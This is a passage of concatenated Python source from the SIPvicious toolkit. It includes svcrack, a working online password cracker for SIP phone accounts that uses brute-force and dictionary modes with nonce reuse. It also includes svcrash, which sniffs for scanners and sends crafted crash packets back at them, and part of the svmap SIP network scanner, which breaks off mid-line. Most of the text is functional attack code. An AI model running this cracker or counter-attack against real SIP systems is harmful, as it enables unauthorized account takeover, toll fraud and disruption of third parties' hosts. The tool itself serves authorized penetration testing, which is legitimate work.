range(self._index(start), self._index(stop), step * self.step) elif isinstance(index, int): if index < 0: fixed_index = index + self._len() else: fixed_index = index if not 0 <= fixed_index < self._len(): raise IndexError("Index %d out of %r" % (index, self)) return self._index(fixed_index) else: raise TypeError("xrange indices must be slices or integers") def _index(self, i): return self.start + self.step * i def getTargetFromSRV(domainnames, methods): log = logging.getLogger('getTargetFromSRV') try: import dns import dns.resolver except ImportError: log.critical( 'could not import the DNS library. Get it from http://www.dnspython.org/') return for domainname in domainnames: for proto in ['udp', 'tcp']: name = '_sip._' + proto + '.' + domainname + '.' try: log.debug('trying to resolve SRV for %s' % name) ans = dns.resolver.query(name, 'SRV') except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer) as err: log.debug('Encountered error: %s' % err.__str__()) log.info('Could not resolve %s' % name) continue for a in ans.response.answer: log.info('got an answer %s' % a.to_text()) for _tmp in a: for method in methods: try: hostname = socket.gethostbyname( _tmp.target.to_text()) except socket.error: log.warn("%s could not be resolved" % _tmp.target.to_text()) continue log.debug("%s resolved to %s" % (_tmp.target.to_text(), hostname)) yield(hostname, _tmp.port, method) def getAuthHeader(pkt): nonceRE = '\r\n(www-authenticate|proxy-authenticate): (.+?)\r\n' _tmp = re.findall(nonceRE, pkt, re.I) if _tmp is not None: if len(_tmp) > 0: return(_tmp[0][1]) return None def check_ipv6(n): log = logging.getLogger('check_ipv6') if '/' in n: log.error('CIDR notation not supported for IPv6 addresses.') return False try: socket.inet_pton(socket.AF_INET6, n) return True except socket.error: return False if __name__ == '__main__': print(getranges('1.1.1.1/24')) seq = getranges('google.com/24') if seq is not None: a = ip4range(seq) for x in iter(a): print(x) sipvicious-0.3.3/sipvicious/svcrack.py000077500000000000000000000637021402607555200201360ustar00rootroot00000000000000# SIPvicious password cracker - svcrack __GPL__ = """ SIPvicious password cracker is an online password guessing tool for SIP devices Copyright (C) 2007-2021 Sandro Gauci This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . """ import logging import dbm import random import select import socket import sys import time import os import pickle import traceback from sys import exit from datetime import datetime from optparse import OptionParser from urllib.parse import urlparse from sipvicious.libs.pptable import to_string from sipvicious.libs.svhelper import ( __version__, mysendto, reportBugToAuthor, numericbrute, dictionaryattack, packetcounter, check_ipv6, createTag, makeRequest, getAuthHeader, getNonce, getOpaque, getAlgorithm, getQop, getCID, getRealm, getCredentials, getRange, standardscanneroptions, standardoptions, calcloglevel, resumeFrom ) __prog__ = 'svcrack' class ASipOfRedWine: def __init__(self, host='localhost', bindingip='', localport=5060, port=5060, externalip=None, username=None, crackmode=1, crackargs=None, realm=None, sessionpath=None, selecttime=0.005, compact=False, reusenonce=False, extension=None, maxlastrecvtime=10, domain=None, requesturi=None, method='REGISTER', ipv6=False): self.log = logging.getLogger('ASipOfRedWine') family = socket.AF_INET if ipv6: family = socket.AF_INET6 self.ipv6 = ipv6 self.sock = socket.socket(family, socket.SOCK_DGRAM) self.sock.settimeout(10) self.sessionpath = sessionpath self.maxlastrecvtime = maxlastrecvtime self.lastrecvtime = time.time() self.dbsyncs = False self.method = method if self.sessionpath is not None: self.resultpasswd = dbm.open( os.path.join(self.sessionpath, 'resultpasswd'), 'c') try: self.resultpasswd.sync() self.dbsyncs = True self.log.info("Db does sync") except AttributeError: self.log.info("Db does not sync") pass else: self.resultpasswd = dict() self.nomore = False self.passwordcracked = False self.rlist = [self.sock] self.wlist = list() self.xlist = list() self.challenges = list() self.crackmode = crackmode self.crackargs = crackargs try: if int(port) >= 1 and int(port) <= 65535: self.dsthost, self.dstport = host, int(port) else: raise ValueError except (ValueError, TypeError): self.log.error('port should strictly be an integer between 1 and 65535') exit(1) self.domain = self.dsthost if domain: self.domain = domain if crackmode == 1: self.passwdgen = numericbrute(*crackargs) elif crackmode == 2: self.passwdgen = dictionaryattack(crackargs) self.username = username self.realm = realm self.selecttime = selecttime self.dstisproxy = None self.ignorenewnonce = True self.noauth = False self.auth = dict() self.previouspassword = str() self.compact = compact self.reusenonce = reusenonce self.staticnonce = None self.staticcid = None if extension is not None: self.extension = extension else: self.extension = username self.bindingip = bindingip self.localport = localport self.requesturi = requesturi self.noncecount = 1 self.originallocalport = localport if self.sessionpath is not None: self.packetcount = packetcounter(50) if externalip is None: self.log.debug("external ip was not set") if (self.bindingip != '0.0.0.0') and (len(self.bindingip) > 0): self.log.debug( "but bindingip was set! we'll set it to the binding ip") self.externalip = self.bindingip else: try: self.log.info( "trying to get self ip .. might take a while") self.externalip = socket.gethostbyname( socket.gethostname()) except socket.error: self.externalip = '127.0.0.1' else: self.log.debug("external ip was set") self.externalip = externalip PROXYAUTHREQ = 'SIP/2.0 407 ' AUTHREQ = 'SIP/2.0 401 ' OKEY = 'SIP/2.0 200 ' NOTFOUND = 'SIP/2.0 404 ' INVALIDPASS = 'SIP/2.0 403 ' TRYING = 'SIP/2.0 100 ' def Register(self, extension, remotehost, auth=None, cid=None): m = self.method if cid is None: cid = '%s' % str(random.getrandbits(32)) branchunique = '%s' % random.getrandbits(32) cseq = 1 # Embedding value so as to not run into errors localtag = '3206210844'.encode() if self.ipv6 and check_ipv6(remotehost): remotehost = '['+remotehost+']' contact = 'sip:%s@%s' % (extension, remotehost) if auth is not None: cseq = 2 localtag = createTag('%s:%s' % ( self.auth['username'], self.auth['password'])) domain = self.domain if self.ipv6 and check_ipv6(domain): domain = '[' + self.domain + ']' register = makeRequest( m, '"%s" ' % (extension, extension, domain), '"%s" ' % ( extension, extension, domain), domain, self.dstport, callid=cid, srchost=self.externalip, branchunique=branchunique, cseq=cseq, auth=auth, localtag=localtag, compact=self.compact, localport=self.localport, requesturi=self.requesturi, ) return register def getResponse(self): # we got stuff to read off the socket buff, _ = self.sock.recvfrom(8192) buff = buff.decode('utf-8', 'ignore') if buff.startswith(self.PROXYAUTHREQ): self.dstisproxy = True elif buff.startswith(self.AUTHREQ): self.dstisproxy = False if buff.startswith(self.PROXYAUTHREQ) or buff.startswith(self.AUTHREQ): authheader = getAuthHeader(buff) if authheader is not None: nonce = getNonce(authheader) opaque = getOpaque(authheader) algorithm = getAlgorithm(authheader) qop = getQop(authheader) cid = getCID(buff) if self.realm is None: self.realm = getRealm(buff) if None not in (nonce, self.realm): if self.reusenonce: if len(self.challenges) > 0: return else: self.staticnonce = nonce self.staticcid = cid self.challenges.append([nonce, cid, qop, algorithm, opaque]) elif buff.startswith(self.OKEY): self.passwordcracked = True _tmp = getCredentials(buff) if (_tmp is not None) and (len(_tmp) == 2): crackeduser, crackedpasswd = _tmp self.log.info("The password for %s is %s" % (crackeduser.decode(), crackedpasswd.decode())) self.resultpasswd[crackeduser] = crackedpasswd if self.sessionpath is not None and self.dbsyncs: self.resultpasswd.sync() else: self.log.info("Does not seem to require authentication") self.noauth = True self.resultpasswd[self.username] = '[no password]' elif buff.startswith(self.NOTFOUND): self.log.warning("User not found") self.noauth = True elif buff.startswith(self.INVALIDPASS): pass elif buff.startswith(self.TRYING): pass else: self.log.error("We got an unknown response") self.log.debug(buff.__repr__()) self.nomore = True def start(self): if self.bindingip == '': bindingip = 'any' else: bindingip = self.bindingip self.log.debug("binding to %s:%s" % (bindingip, self.localport)) while 1: if self.localport > 65535: self.log.critical("Could not bind to any port") return try: self.sock.bind((self.bindingip, self.localport)) break except socket.error: self.log.debug("could not bind to %s" % self.localport) self.localport += 1 if self.originallocalport != self.localport: self.log.warning("could not bind to %s:%s - some process might already be listening on this port. Listening on port %s instead" % (self.bindingip, self.originallocalport, self.localport)) self.log.info( "Make use of the -P option to specify a port to bind to yourself") # perform a test 1st .. data = self.Register(self.extension, self.domain) try: mysendto(self.sock, data, (self.dsthost, self.dstport)) except socket.error as err: self.log.error("socket error: %s" % err) return try: self.getResponse() self.lastrecvtime = time.time() except socket.timeout: self.log.error("no server response") return except socket.error as err: self.log.error("socket error:%s" % err) return if self.noauth is True: return while 1: r, _, _ = select.select( self.rlist, self.wlist, self.xlist, self.selecttime ) if r: if self.passwordcracked: break # we got stuff to read off the socket try: self.getResponse() self.lastrecvtime = time.time() except socket.error as err: self.log.warning("socket error: %s" % err) else: # check if its been a while since we had a response to prevent # flooding - otherwise stop timediff = time.time() - self.lastrecvtime if timediff > self.maxlastrecvtime: self.nomore = True self.log.warning( 'It has been %s seconds since we last received a response - stopping' % timediff) if self.passwordcracked: break if self.nomore is True: try: while not self.passwordcracked: self.getResponse() except socket.timeout: break # no stuff to read .. its our turn to send back something if len(self.challenges) > 0: # we have challenges to take care of self.auth = dict() self.auth['username'] = self.username self.auth['realm'] = self.realm if self.reusenonce: self.auth['nonce'] = self.staticnonce cid = self.staticcid else: self.auth['nonce'], cid, self.auth['qop'], self.auth[ 'algorithm'], self.auth['opaque'] = self.challenges.pop() self.auth['proxy'] = self.dstisproxy try: self.auth['password'] = next(self.passwdgen) self.previouspassword = self.auth['password'] self.log.debug('trying %s' % self.auth['password']) if self.auth['algorithm'] == "md5-sess" or self.auth['qop'] == "auth": self.auth["noncecount"] = self.noncecount self.noncecount += 1 except StopIteration: self.log.info("no more passwords") self.nomore = True continue else: self.auth = None cid = None data = self.Register( self.extension, self.domain, self.auth, cid) try: mysendto(self.sock, data, (self.dsthost, self.dstport)) # self.sock.sendto(data,(self.dsthost,self.dstport)) if self.sessionpath is not None: if next(self.packetcount): try: if self.crackmode == 1: pickle.dump(self.previouspassword, open( os.path.join(self.sessionpath, 'lastpasswd.pkl'), 'wb+')) self.log.debug( 'logged last extension %s' % self.previouspassword) elif self.crackmode == 2: pickle.dump(self.crackargs.tell(), open( os.path.join(self.sessionpath, 'lastpasswd.pkl'), 'wb+')) self.log.debug( 'logged last position %s' % self.crackargs.tell()) except IOError: self.log.warning( 'could not log the last extension scanned') except socket.error as err: self.log.error("socket error: %s" % err) break def main(): usage = "usage: %prog -u username [options] target\r\n" usage += "examples:\r\n" usage += "%prog -u100 -d dictionary.txt udp://10.0.0.1:5080\r\n" usage += "%prog -u100 -r1-9999 -z4 10.0.0.1\r\n" parser = OptionParser(usage, version="%prog v" + str(__version__) + __GPL__) parser.add_option("-p", "--port", dest="port", default="5060", help="Destination port of the SIP device - eg -p 5060", metavar="PORT") parser = standardoptions(parser) parser = standardscanneroptions(parser) parser.add_option("-u", "--username", dest="username", help="username to try crack", metavar="USERNAME") parser.add_option("-d", "--dictionary", dest="dictionary", type="string", help="specify a dictionary file with passwords or - for stdin", metavar="DICTIONARY") parser.add_option("-r", "--range", dest="range", default="100-999", help="specify a range of numbers. example: 100-200,300-310,400", metavar="RANGE") parser.add_option("-e", "--extension", dest="extension", help="Extension to crack. Only specify this when the extension is different from the username.", metavar="EXTENSION") parser.add_option("-z", "--zeropadding", dest="zeropadding", type="int", default=0, help="the number of zeros used to padd the password. the options \"-r 1-9999 -z 4\"" \ "would give 0001 0002 0003 ... 9999", metavar="PADDING") parser.add_option("-n", "--reusenonce", dest="reusenonce", default=False, help="Reuse nonce. Some SIP devices don't mind you reusing the nonce (making them vulnerable to replay attacks). Speeds up the cracking.", action="store_true") parser.add_option('--template', '-T', action="store", dest="template", help="A format string which allows us to specify a template for the extensions" \ "example svwar.py -e 1-999 --template=\"123%#04i999\" would scan between 1230001999 to 1230999999\"") parser.add_option('--maximumtime', action='store', dest='maximumtime', type="int", default=10, help="Maximum time in seconds to keep sending requests without receiving a response back") parser.add_option('--enabledefaults', '-D', action="store_true", dest="defaults", default=False, help="Scan for default / typical passwords such as" \ "1000,2000,3000 ... 1100, etc. This option is off by default." \ "Use --enabledefaults to enable this functionality") parser.add_option('--domain', dest="domain", help="force a specific domain name for the SIP message, eg. example.org") parser.add_option('--requesturi', dest="requesturi", help="force the first line URI to a specific value; e.g. sip:999@example.org") parser.add_option('-6', dest="ipv6", action="store_true", help="Scan an IPv6 address") parser.add_option('-m','--method', dest='method', default='REGISTER', help="Specify a SIP method to use") options, args = parser.parse_args() exportpath = None logging.basicConfig(level=calcloglevel(options)) logging.debug('started logging') if options.resume is not None: exportpath = os.path.join(os.path.expanduser( '~'), '.sipvicious', __prog__, options.resume) if os.path.exists(os.path.join(exportpath, 'closed')): logging.error("Cannot resume a session that is complete") exit(1) if not os.path.exists(exportpath): logging.critical( 'A session with the name %s was not found' % options.resume) exit(1) optionssrc = os.path.join(exportpath, 'options.pkl') previousresume = options.resume previousverbose = options.verbose options, args = pickle.load(open(optionssrc, 'rb'), encoding='bytes') options.resume = previousresume options.verbose = previousverbose elif options.save is not None: exportpath = os.path.join(os.path.expanduser( '~'), '.sipvicious', __prog__, options.save) logging.debug('Session path: %s' % exportpath) if options.resume is not None: exportpath = os.path.join(os.path.expanduser( '~'), '.sipvicious', __prog__, options.resume) if not os.path.exists(exportpath): logging.critical( 'A session with the name %s was not found' % options.resume) exit(1) optionssrc = os.path.join(exportpath, 'options.pkl') previousresume = options.resume previousverbose = options.verbose options, args = pickle.load(open(optionssrc, 'rb'), encoding='bytes') options.resume = previousresume options.verbose = previousverbose elif options.save is not None: exportpath = os.path.join(os.path.expanduser( '~'), '.sipvicious', __prog__, options.save) if len(args) != 1: parser.error("Please provide at least one hostname which talks SIP!") destport = options.port parsed = urlparse(args[0]) if not parsed.scheme: host = args[0] else: if any(parsed.scheme == i for i in ('tcp', 'tls', 'ws', 'wss')): parser.error('Protocol scheme %s is not supported in SIPVicious OSS' % parsed.scheme) if parsed.scheme != 'udp': parser.error('Invalid protocol scheme: %s' % parsed.scheme) if ':' not in parsed.netloc: parser.error('You have to supply hosts in format of scheme://host:port when using newer convention.') if int(destport) != 5060: parser.error('You cannot supply additional -p when already including a port in URI. Please use only one.') host = parsed.netloc.split(':')[0] destport = parsed.netloc.split(':')[1] if options.username is None: parser.error("Please provide at least one username to crack!") if options.dictionary is not None: crackmode = 2 if options.dictionary == "-": dictionary = sys.stdin else: try: dictionary = open(options.dictionary, 'r', encoding='utf-8', errors='ignore') except IOError: logging.error("could not open %s" % options.dictionary) if options.resume is not None: lastpasswdsrc = os.path.join(exportpath, 'lastpasswd.pkl') previousposition = pickle.load(open(lastpasswdsrc, 'rb'), encoding='bytes') dictionary.seek(previousposition) crackargs = dictionary else: crackmode = 1 if options.resume is not None: lastpasswdsrc = os.path.join(exportpath, 'lastpasswd.pkl') try: previouspasswd = pickle.load(open(lastpasswdsrc, 'rb'), encoding='bytes') except IOError: logging.critical('Could not read from %s' % lastpasswdsrc) exit(1) logging.debug('Previous range: %s' % options.range) options.range = resumeFrom(previouspasswd, options.range) logging.debug('New range: %s' % options.range) logging.info('Resuming from %s' % previouspasswd) rangelist = getRange(options.range) crackargs = (rangelist, options.zeropadding, options.template, options.defaults, [options.username]) if options.save is not None: if options.resume is None: exportpath = os.path.join(os.path.expanduser( '~'), '.sipvicious', __prog__, options.save) if os.path.exists(exportpath): logging.warning( 'we found a previous scan with the same name. Please choose a new session name') exit(1) logging.debug('creating an export location %s' % exportpath) try: os.makedirs(exportpath, mode=0o700) except OSError: logging.critical( 'could not create the export location %s' % exportpath) exit(1) optionsdst = os.path.join(exportpath, 'options.pkl') logging.debug('saving options to %s' % optionsdst) pickle.dump([options, args], open(optionsdst, 'wb+')) if options.autogetip: tmpsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tmpsocket.connect(("msn.com", 80)) options.externalip = tmpsocket.getsockname()[0] tmpsocket.close() sipvicious = ASipOfRedWine( host, username=options.username, selecttime=options.selecttime, compact=options.enablecompact, crackmode=crackmode, crackargs=crackargs, reusenonce=options.reusenonce, extension=options.extension, sessionpath=exportpath, port=destport, externalip=options.externalip, maxlastrecvtime=options.maximumtime, localport=options.localport, domain=options.domain, requesturi=options.requesturi, ipv6=options.ipv6, method=options.method, ) start_time = datetime.now() logging.info("scan started at %s" % str(start_time)) try: sipvicious.start() if exportpath is not None: open(os.path.join(exportpath, 'closed'), 'w').close() except KeyboardInterrupt: logging.warning('caught your control^c - quiting') except Exception as err: if options.reportBack: logging.critical( "Got unhandled exception : %s\nsending report to author" % err.__str__()) reportBugToAuthor(traceback.format_exc()) else: logging.critical( "Unhandled exception - please run same command with the -R option to send me an automated report") pass logging.exception("Exception") if options.save is not None and sipvicious.previouspassword is not None: lastextensiondst = os.path.join(exportpath, 'lastpasswd.pkl') logging.debug('saving state to %s' % lastextensiondst) try: if crackmode == 1: pickle.dump(sipvicious.previouspassword, open( os.path.join(exportpath, 'lastpasswd.pkl'), 'wb+')) logging.debug('logged last password %s' % sipvicious.previouspassword) elif crackmode == 2: pickle.dump(sipvicious.crackargs.tell(), open( os.path.join(exportpath, 'lastpasswd.pkl'), 'wb+')) logging.debug('logged last position %s' % sipvicious.crackargs.tell()) except IOError: logging.warning('could not log the last tried password') # display results if not options.quiet: lenres = len(sipvicious.resultpasswd) if lenres > 0: logging.info("we have %s cracked users" % lenres) if (lenres < 400 and options.save is not None) or options.save is None: labels = ('Extension', 'Password') rows = list() try: for k in sipvicious.resultpasswd.keys(): rows.append((k.decode(), sipvicious.resultpasswd[k].decode())) except AttributeError: for k in sipvicious.resultpasswd.keys(): rows.append((k, sipvicious.resultpasswd[k])) print(to_string(rows, header=labels)) else: logging.warning("too many to print - use svreport for this") else: logging.warning("found nothing") end_time = datetime.now() total_time = end_time - start_time logging.info("Total time: %s" % total_time) if __name__ == '__main__': main() sipvicious-0.3.3/sipvicious/svcrash.py000077500000000000000000000157271402607555200201570ustar00rootroot00000000000000# svcrash.py - SIPvicious crash breaks svwar and svcrack __GPL__ = """ Sipvicious crash exploits a bug in svwar/svcrack.py to stop unauthorized scans from flooding the network. Copyright (C) 2007-2021 Sandro Gauci This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . """ import re import sys import time import scapy import optparse import os.path import socket import warnings try: from scapy.layers.inet import IP, UDP from scapy.all import send, Raw, sniff scapyversion = scapy.__version__ except ImportError: scapyversion = 0 from sipvicious.libs.svhelper import __author__, __version__ warnings.filterwarnings("ignore") __prog__ = 'svcrash' def getArgs(): parser = optparse.OptionParser( usage="%prog [options]", version="%prog v" + str(__version__) + __GPL__) parser.add_option('--auto', help="Automatically send responses to attacks", dest="auto", default=False, action="store_true",) parser.add_option('--astlog', help="Path for the asterisk full logfile", dest="astlog") parser.add_option('-d', help="specify attacker's ip address", dest="ipaddr") parser.add_option('-p', help="specify attacker's port", dest="port", type="int", default=5060) parser.add_option('-b', help="bruteforce the attacker's port", dest="bruteforceport", default=False, action="store_true") (options, args) = parser.parse_args() if not (options.auto or options.astlog): if not options.ipaddr: parser.error( "When auto or astlog is not specified, you need to pass an IP address") elif options.auto: if scapyversion == 0: parser.error( "You should have scapy installed for spoofing the packets: python3 -m pip install scapy.") elif options.astlog: if not os.path.exists(options.astlog): parser.error("Could not read %s" % options.astlog) if (scapyversion == 0) or not (options.auto): try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind(('0.0.0.0', 5060)) except socket.error: parser.error( "You either need have port 5060 available or install scapy from http://www.secdev.org/projects/scapy/") return options, args class asteriskreadlognsend: def __init__(self, logfn): self.log = None self.logfn = logfn self.lastsent = 30 self.matchcount = 0 self.origlogsize = 0 def checkfile(self): if (self.log is None) or (self.origlogsize > os.path.getsize(self.logfn)): self.log = open(self.logfn, 'r') self.origlogsize = os.path.getsize(self.logfn) self.log.seek(self.origlogsize) def findfailures(self): self.checkfile() buff = self.log.readline() if len(buff) == 0: time.sleep(1) return if time.time() - self.lastsent <= 2: return match = re.search( "Registration from '(.*?)' failed for '(.*?)' - (No matching peer found|Wrong password)", buff) if match: self.matchcount += 1 if self.matchcount > 6: self.matchcount = 0 return match.group(2) else: # time.sleep(1) return def start(self): try: while 1: ipaddr = self.findfailures() if ipaddr: for i in range(5060, 5080): if scapyversion > 0: sendattack2(ipaddr, i) else: sendattack(ipaddr, i) except KeyboardInterrupt: return class sniffnsend: def __init__(self, port=5060): self.port = port self.lastsent = 30 self.mytimer = dict() def checknsend(self, pkt): data = str(pkt.getlayer(Raw)) ipaddr = pkt.getlayer(IP).src try: port = pkt.getlayer(UDP).sport except AttributeError: return src = ipaddr, port if not src in self.mytimer: # print "add %s:%s" % src self.mytimer[src] = time.time() - 2 if time.time() - self.mytimer[src] > 2: if time.time() - self.lastsent > 0.5: if ('User-Agent: friendly-scanner' in data) or \ ('User-Agent: Asterisk PBX' in data and 'CSeq: 1 REGISTER' in data): if 'REGISTER ' in data: # print data self.lastsent = time.time() self.mytimer[src] = time.time() sendattack2(ipaddr, port) if len(self.mytimer) > 0: for src in self.mytimer.keys(): if time.time() - self.mytimer[src] > 10: # print "del %s:%s:%s" % # (str(src),time.time(),self.mytimer[src]) del(self.mytimer[src]) def start(self): try: sniff(prn=self.checknsend, filter="udp port %s" % self.port, store=0) except KeyboardInterrupt: print("goodbye") crashmsg = 'SIP/2.0 200 OK\r\nVia: SIP/2.0/UDP 8.7.6.5:5061;bran' crashmsg += 'ch=z9hG4bK-573841574;rport\r\n\r\nContent-length: 0\r\nFrom: ' crashmsg += '"100"; tag=683a653a7901746865726501627965\r\nUs' crashmsg += 'er-agent: Telkom Box 2.4\r\nTo: "100"\r\nCse' crashmsg += 'q: 1 REGISTER\r\nCall-id: 469585712\r\nMax-forwards: 70\r\n\r\n' def sendattack(ipaddr, port): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind(('0.0.0.0', 5060)) dst = ipaddr, port s.sendto(bytes(crashmsg, 'utf-8'), dst) sys.stdout.write("Attacking back %s:%s\r\n" % (ipaddr, port)) s.close() def sendattack2(ipaddr, port): packet = IP(dst=ipaddr) / UDP(sport=5060, dport=port) / crashmsg sys.stdout.write("Attacking back %s:%s\r\n" % (ipaddr, port)) send(packet, verbose=0) def main(): options, _ = getArgs() if options.auto: sns = sniffnsend() sns.start() elif options.astlog: ast = asteriskreadlognsend(options.astlog) ast.start() elif options.bruteforceport: for port in range(5060, 5090): sendattack(options.ipaddr, port) else: sendattack(options.ipaddr, options.port) if __name__ == "__main__": main() sipvicious-0.3.3/sipvicious/svmap.py000077500000000000000000000616521402607555200176320ustar00rootroot00000000000000# svmap.py - SIPvicious SIP scanner __GPL__ = """ SIPvicious SIP scanner searches for SIP devices on a given network Copyright (C) 2007-2021 Sandro Gauci This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . """ import dbm import logging import os import pickle import random import select import socket import traceback from struct import pack from sys import exit from datetime import datetime from optparse import OptionParser from sipvicious.libs.pptable import to_string from sipvicious.libs.svhelper import ( __version__, calcloglevel, createTag, fingerPrintPacket, getranges, getTag, getTargetFromSRV, ip4range, makeRequest, getRange, scanlist, ip6range, mysendto, packetcounter, reportBugToAuthor, dbexists, check_ipv6, scanrandom, standardoptions, standardscanneroptions, resumeFromIP, scanfromdb ) __prog__ = "svmap" class DrinkOrSip: def __init__(self,scaniter,selecttime=0.005,compact=False, bindingip='', fromname='sipvicious',fromaddr='sip:100@1.1.1.1', extension=None, sessionpath=None,socktimeout=3,externalip=None,localport=5060, printdebug=False,first=None,fpworks=False,ipv6=False): self.log = logging.getLogger('DrinkOrSip') family = socket.AF_INET if ipv6: family = socket.AF_INET6 self.ipv6 = ipv6 self.bindingip = bindingip self.sessionpath = sessionpath self.dbsyncs = False if self.sessionpath is not None: self.resultip = dbm.open(os.path.join(self.sessionpath,'resultip'),'c') self.resultua = dbm.open(os.path.join(self.sessionpath,'resultua'),'c') try: self.resultip.sync() self.dbsyncs = True self.log.info("Db does sync") except AttributeError: self.log.info("Db does not sync") pass else: self.resultip = dict() self.resultua = dict() # we do UDP self.sock = socket.socket(family, socket.SOCK_DGRAM) # socket timeout - this is particularly useful when quitting .. to eat # up some final packets self.sock.settimeout(socktimeout) # enable sending to broadcast addresses self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) # read handles self.rlist = [self.sock] # write handles self.wlist = list() # error handles self.xlist = list() self.scaniter = scaniter self.selecttime = selecttime self.localport = localport if externalip is None: self.log.debug("external ip was not set") if (self.bindingip != '0.0.0.0') and (len(self.bindingip) > 0): self.log.debug("but bindingip was set! we'll set it to the binding ip") self.externalip = self.bindingip else: try: self.log.info("trying to get self ip .. might take a while") self.externalip = socket.gethostbyname(socket.gethostname()) except socket.error: self.externalip = '127.0.0.1' else: self.log.debug("external ip was set") self.externalip = externalip self.log.debug("External ip: %s:%s" % (self.externalip,localport) ) self.compact = compact self.log.debug("Compact mode: %s" % self.compact) self.fromname = fromname self.fromaddr = fromaddr self.log.debug("From: %s <%s>" % (self.fromname,self.fromaddr)) self.nomoretoscan = False self.originallocalport = self.localport self.nextip = None self.extension = extension self.fpworks = fpworks self.printdebug = printdebug self.first = first if self.sessionpath is not None: self.packetcount = packetcounter(50) self.sentpackets = 0 def getResponse(self,buff,srcaddr): srcip, srcport, *_ = srcaddr uaname = 'unknown' buff = buff.decode('utf-8', 'ignore') if buff.startswith('OPTIONS ') \ or buff.startswith('INVITE ') \ or buff.startswith('REGISTER '): if self.externalip == srcip: self.log.debug("We received our own packet from %s:%s" % (str(srcip), srcport)) else: self.log.info("Looks like we received a SIP request from %s:%s"% (str(srcip), srcport)) self.log.debug(buff.__repr__()) return self.log.debug("running fingerPrintPacket()") res = fingerPrintPacket(buff) if res is not None: if 'name' in res: uaname = res['name'][0] else: uaname = 'unknown' self.log.debug(buff.__repr__()) if not self.fpworks: fp = None if fp is None: if self.fpworks: fpname = 'unknown' else: fpname = 'disabled' else: fpname = ' / '.join(fp) self.log.debug('Fingerprint: %s' % fpname) self.log.debug("Uaname: %s" % uaname) #print buff originaldst = getTag(buff) try: dstip = socket.inet_ntoa(pack('!L',int(originaldst[:8],16))) dstport = int(originaldst[8:12],16) except (ValueError,TypeError,socket.error): self.log.debug("original destination could not be decoded: %s" % (originaldst)) dstip,dstport = 'unknown','unknown' resultstr = '%s:%s\t->\t%s:%s\t->\t%s' % (dstip,dstport,srcip,srcport,uaname) self.log.info( resultstr ) self.resultip['%s:%s' % (srcip,srcport)] = '%s:%s' % (dstip,dstport) self.resultua['%s:%s' % (srcip,srcport)] = uaname if self.sessionpath is not None and self.dbsyncs: self.resultip.sync() self.resultua.sync() else: self.log.info('Packet from %s:%s did not contain a SIP msg'%srcaddr) self.log.debug('Packet: %s' % buff.__repr__()) def start(self): # bind to 5060 - the reason is to maximize compatability with # devices that disregard the source port and send replies back # to port 5060 if self.bindingip == '': bindingip = 'any' else: bindingip = self.bindingip self.log.debug("binding to %s:%s" % (bindingip, self.localport)) while 1: if self.localport > 65535: self.log.critical("Could not bind to any port") return try: self.sock.bind((self.bindingip,self.localport)) break except socket.error: self.log.debug("could not bind to %s" % self.localport) self.localport += 1 if self.originallocalport != self.localport: self.log.warning("could not bind to %s:%s - some process might already be listening on this port. Listening on port %s instead" % (self.bindingip,self.originallocalport, self.localport)) self.log.info("Make use of the -P option to specify a port to bind to yourself") while 1: r, _, _ = select.select( self.rlist, self.wlist, self.xlist, self.selecttime ) if r: # we got stuff to read off the socket try: buff,srcaddr = self.sock.recvfrom(8192) host, port, *_ = srcaddr self.log.debug('got data from %s:%s' % (str(host), str(port))) self.log.debug('data: %s' % buff.__repr__()) if self.printdebug: print(srcaddr) print(buff) except socket.error: continue self.getResponse(buff,srcaddr) else: # no stuff to read .. its our turn to send back something if self.nomoretoscan: try: # having the final sip self.log.debug("Making sure that no packets get lost") self.log.debug("Come to daddy") while 1: buff,srcaddr = self.sock.recvfrom(8192) if self.printdebug: print(srcaddr) print(buff) self.getResponse(buff,srcaddr) except socket.error: break try: nextscan = next(self.scaniter) except StopIteration: self.log.debug('no more hosts to scan') self.nomoretoscan = True continue dstip,dstport,method = nextscan self.nextip = dstip dsthost = (dstip,dstport) domain = dsthost[0] branchunique = '%s' % random.getrandbits(32) if self.ipv6 and check_ipv6(dsthost[0]): domain = '[' + dsthost[0] + ']' localtag = createTag('%s%s' % (''.join(map(lambda x: '%s' % x, dsthost[0].split(':'))), '%04x' % dsthost[1])) else: localtag = createTag('%s%s' % (''.join(map(lambda x: '%02x' % int(x), dsthost[0].split('.'))),'%04x' % dsthost[1])) if self.ipv6: fromaddr = '"%s"' % (self.fromname, domain) else: fromaddr = '"%s"<%s>' % (self.fromname, self.fromaddr) toaddr = fromaddr callid = '%s' % random.getrandbits(80) contact = None if method != 'REGISTER': contact = 'sip:%s@%s:%s' % (self.extension,self.externalip,self.localport) data = makeRequest( method, fromaddr, toaddr, domain, dsthost[1], callid, self.externalip, branchunique, compact=self.compact, localtag=localtag, contact=contact, accept='application/sdp', localport=self.localport, extension=self.extension ) try: self.log.debug("sending packet to %s:%s" % dsthost) self.log.debug("packet: %s" % data.__repr__()) mysendto(self.sock,data,dsthost) self.sentpackets += 1 #self.sock.sendto(data,dsthost) if self.sessionpath is not None: if next(self.packetcount): try: f=open(os.path.join(self.sessionpath,'lastip.pkl'),'wb+') pickle.dump(self.nextip,f) f.close() self.log.debug('logged last ip %s' % self.nextip) except IOError: self.log.warning('could not log the last ip scanned') if self.first is not 